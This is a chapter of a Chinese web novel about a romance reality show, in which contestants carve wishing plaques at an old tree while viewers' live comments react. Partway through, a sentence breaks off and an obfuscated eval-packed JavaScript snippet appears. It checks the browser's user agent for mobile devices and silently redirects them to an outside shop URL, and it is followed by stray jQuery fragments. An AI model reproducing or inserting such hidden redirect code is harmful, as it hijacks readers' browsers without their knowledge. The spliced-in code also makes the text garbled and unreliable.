11. 011 又争又抢

作品:《恋综里讨人嫌的发小青梅

    老人顿了顿,枯瘦指了指东边:“你们往那边走,绕两个巷子就是你们要去找的那棵‘长久树’。几百年了,树还在,根还连着,这棵树没有平镇行庄的其他地方出名,基本就是情侣会来打卡。”


    “那对夫妻呢?”宁相宜想问结局。


    “听说是活到九十九,两人同一天走的。男的走之前说的最后一句话是——‘没有后悔过辞官回来。’女的听见了,笑了笑,跟着闭上了眼。”


    “两人平淡但幸福,男的放弃功名利禄,女的勤劳尊老并且坚持相信丈夫,两人都有一个好结局,所以两人故事传了几百年。”老爷子道。


    巷子里安静了几秒,宁相宜和祁舒怀都在思考‘长久树’的意义,一时间只有风吹过瓦檐的声音。


    祁舒怀开口,声音低沉:“所以叫‘长久树’,长久的不是树,是人和人之间的情意。”


    老人点点头,看了他一眼,意味深长地笑了:“小伙子悟性不错嘛。你们年轻人现在谈情说爱哪,动不动就说一辈子,哪知道一辈子有多长?”


    “看看这棵树就知道了,一辈子,是两棵树缠在一起,根连根,枝连枝,风风雨雨几百年啊。”他又看了看宁相宜,似乎在想面前这对小情侣能不能经历人生风风雨雨后还能在一起。


    宁相宜被老人看得有些不自在,偏了偏头,耳朵悄悄红了,为什么今天一直被误会啊!


    祁舒怀倒是一脸坦然,因为没看见收款码,就从口袋里拿出钱包,抽了几张钞票放进老人手边的竹筐里:“谢谢您,豆腐花很好吃,故事也很好听。”


    老人没推辞,笑眯眯地收了:“去吧,去树下挂个牌,许个愿。心诚则灵。”


    两人了解完,给封嘉和任应发了个信息,他们那边没找到本地人。


    宁相宜和祁舒怀对视一眼,心想幸好兵分两路了,不然大家一起又要浪费一个多小时。


    两人让任应和封嘉在原地等他们,他们慢慢悠悠走过去,一路上看了不少明清代建筑。


    两人沿着青石板路往东走,穿过一条窄巷,视野豁然开朗。


    交缠着的巨大古树出现在眼前——树干粗壮,要五六个人才能合抱,树冠如盖,遮天蔽日。


    而树枝上挂满了红色的许愿牌,风一吹,红绸飘飘,像是无数颗红心在跳动,那都是情侣想要长久的心愿。


    “相宜,祁总,你们来了。”任应和封嘉在这里等待两人的时间也没闲着。


    他们在自制许愿牌,这个许愿牌是由桃木制成的,所有材料都有,但节目组需要他们精心打磨雕刻、上色,然后刻字,最后系上红绸挂上‘长久树。’


    任应和封嘉已经占据了树下一张小木桌。


    桌上还摆着几块未经雕琢的桃木牌,旁边散落着刻刀、砂纸、颜料和毛笔之类的东西。


    任应偏头朝两人解释:“节目组说许愿牌必须自己做,不能买现成的,否则算任务失败。”任应举起一块半成品的桃木,上面已经刻出了云纹的轮廓。


    “我和嘉哥先试了试水。相宜和祁总的许愿牌也在这儿,放心,材料拿了很多,保证管够。”青年弯起眉眼朝宁相宜笑了笑,脸上还沾了点朱红。


    宁相宜指了指任应左脸,“应哥,你脸上沾了颜色。”


    “相宜能给我擦擦吗?”任应下意识自然道,说完他就顿了一下,好像自然过头了,当在家里似的。


    对待任应和罗今霄两个发小,宁相宜没有对周长游那么疏离警惕,她也下意识从包里拿出纸巾,给任应擦脸。


    帮他擦完脸,才注意到自己干了什么的宁相宜:“……”


    祁舒怀看见面前两张脸都有些愣住,心下好笑,他调查过几个人的关系,知道他们是发小。但他也有些羡慕任应几人能和宁相宜从小一起长大,关系能那么好。


    封嘉本来刻着字,看见这一幕立马停了下来了,他的眼睛紧紧盯着任应。


    他心想:为什么任应都能和宁相宜那么自然亲密?他的进度什么时候跑那么前面去了?


    大家不都是才第二天相处吗?


    祁舒怀打了个圆场,把宁相宜手里的纸巾拿走扔进垃圾桶,“任先生能教下我和相宜怎么弄吗?”


    “很简单的,我给你们示范一下。”任应看见祁舒怀打圆场,目光若有所思瞥过他下意识靠近宁相宜的动作。


    任应觉得自己是个计划通啊,短短一个多小时,小香芋和祁舒怀看着都亲密不少。


    他忍住心里的妒忌和难受,笑眯眯让两人快坐下,教两人刻画许愿牌。


    宁相宜拿起一块桃木,翻来覆去看了又看。她没怎么做过这方面的手工活,所以看着那把小巧的刻刀,一时不知道该从哪下手。


    旁边祁舒怀看着任应和封嘉的动作,又听了几句解释,已经开始上手了。


    他看见宁相宜还在犹豫从哪里开始,点了点她的桃木牌,“相宜,你跟着我的动作一起来吧,我和你的进度是一样的。”


    宁相宜也不是笨蛋,她只是一时在纠结怎么开始第一步,听见祁舒怀耐心地教,心想:两人同时到的,他的进度怎么比她还快?


    这人不管在上学时期还是工作时期,都是绝对优秀的存在吧——就像周长游一样,不管做什么都是第一。


    “先拿砂纸打磨边缘,把棱角磨圆。”祁舒怀在她旁边,从桌子上拿出一块砂纸,动作自然地给她示范起来。


    男人的手指修长有力,握砂纸的姿势都像是在操作什么精密的仪器。


    任应/封嘉:……


    那种奇怪的感觉又来了,祁舒怀好像教了他们该教的学生,这就是霸总的执行力吗?


    宁相宜学着他的样子,拿起砂纸开始磨。


    她力气可能没使对,磨了半天边缘还是硌手。


    祁舒怀侧头看了一眼,“用力的方向错了,你应该这样,我来?”


    宁相宜点头之后,他伸手覆上她握着砂纸的手。


    旁边的任应脸色瞬间阴沉下来,这可不在他计划之内。


    封嘉本来正在打磨另一块桃木的边角,但“咔嚓”一声,砂纸下的木片折了一个角。


    他面无表情地把断角扔掉,重新拿了一块。


    祁舒怀收敛眉目间的愉悦:“用力的时候要均匀一点,不要太轻,也不要太急。”他的掌心干燥温热,指尖带着她缓缓推了几下,“这样。”看她开始动手后放开手,十分克制有礼。


    祁舒怀的手停留的时间不长,却足够在场的另外两个人看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482446|201825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    清每一个细节。


    任应手里的刻刀已经停了,面无表情地看着,没说话。


    宁相宜没注意到周围人,她正专心研究打磨的力道,心想祁舒怀做手工老师也很有天赋,她已经学会了。


    磨完边角,她又细细刻上字,一切完成之后又拿起画笔,开始给木牌上色,颜料都是朱红和黑墨,红色衬得木牌非常显眼,黑色的字迹也不突兀。


    在日组这边跟拍的摄像组憋住上扬的嘴角,死嘴别笑啊!没看到其他两个男嘉宾快炸了吗?


    摄像师还特地把两人快喷火的眼神拍进去,心想这幕肯定要被网友反复品鉴。


    直播间也非常热闹。


    【祁舒怀你真的别太会了……这家伙真的零绯闻吗???他看起来根本不像没谈过的啊!!】


    【人家有礼貌,尺度把握的好而已,这叫做素质。】


    【感觉他完全又争又抢啊,比薛决还夸张……从特地让她拿5个偶币,到坐她旁边涂药,再到改称呼,到现在的贴手教学……祁总您开个班吧,我也需要学一下。】


    【旁边的任应和封嘉绝对喜欢宁相宜,感觉他俩看祁舒怀的眼神里带着杀意啊哈哈哈哈】


    【网上已经开始买CP了,投票看胜率,之前宁相宜和罗今霄的‘一笑’CP稳居冠军,但两个小时前,祁总和宁相宜的‘书香’CP超出‘一笑’CP两万票稳居第一!!喜提节目组最受欢迎和最热CP!!】


    【祁总深藏不露啊……】


    【你们太夸张了吧?嘉宾之间帮个忙,变个称呼不是很正常吗?不要什么都扯上CP好吧。】


    【昨天两个女嘉宾互发乐死我,导演刚忙制定新规则补丁只能发给异性哈哈哈哈,有点好奇今天的宁相宜会把心意短信发给谁了,肯定是她面前三个的其中一个吧?】


    【我下注压一个祁总!!!】


    【才第二天,你们那么着急干什么?宁相宜基本没咋脸红过,对祁总都不来电!】


    直播间的吵吵嚷嚷,嘉宾们都不知道,宁相宜现在已经开始给自己的许愿牌穿起红绸。


    四人先后相隔十几到二十几分钟制作完成许愿牌。


    几人找负责‘长久树’的官方工作人员借了梯子,把许愿牌挂了上去。


    虽然‘长久树’一般是爱人来打卡许愿的地方,但因为有‘长久’两字,还是很多其他的朋友,家人等来打卡,希望情谊长久。


    宁相宜他们挂上去之前就互相看过刻写的字。


    她自己的是「平安长久」,她希望自己的家人朋友一直都能平平安安。


    封嘉是「但愿人长久」,任应是「四四如意」,祁舒怀是「顺我心」。


    大家没问各自表达的意思,都在‘长久树’这里许愿了,那肯定都是许愿希望长久的事情。


    挂完许愿牌之后,再拍个四人合照,第一个任务就完成了。


    他们麻烦了一个工作人员帮忙,四人站在树下,宁相宜站在中间。


    工作人员看到几人的表情都比较放松,举手示意看镜头。


    “咔嚓”快门摁下的时候——宁相宜半扎的发丝刚好被风吹起飘到封嘉脸颊。


    青年下意识捻起那缕发丝来,定格成照片。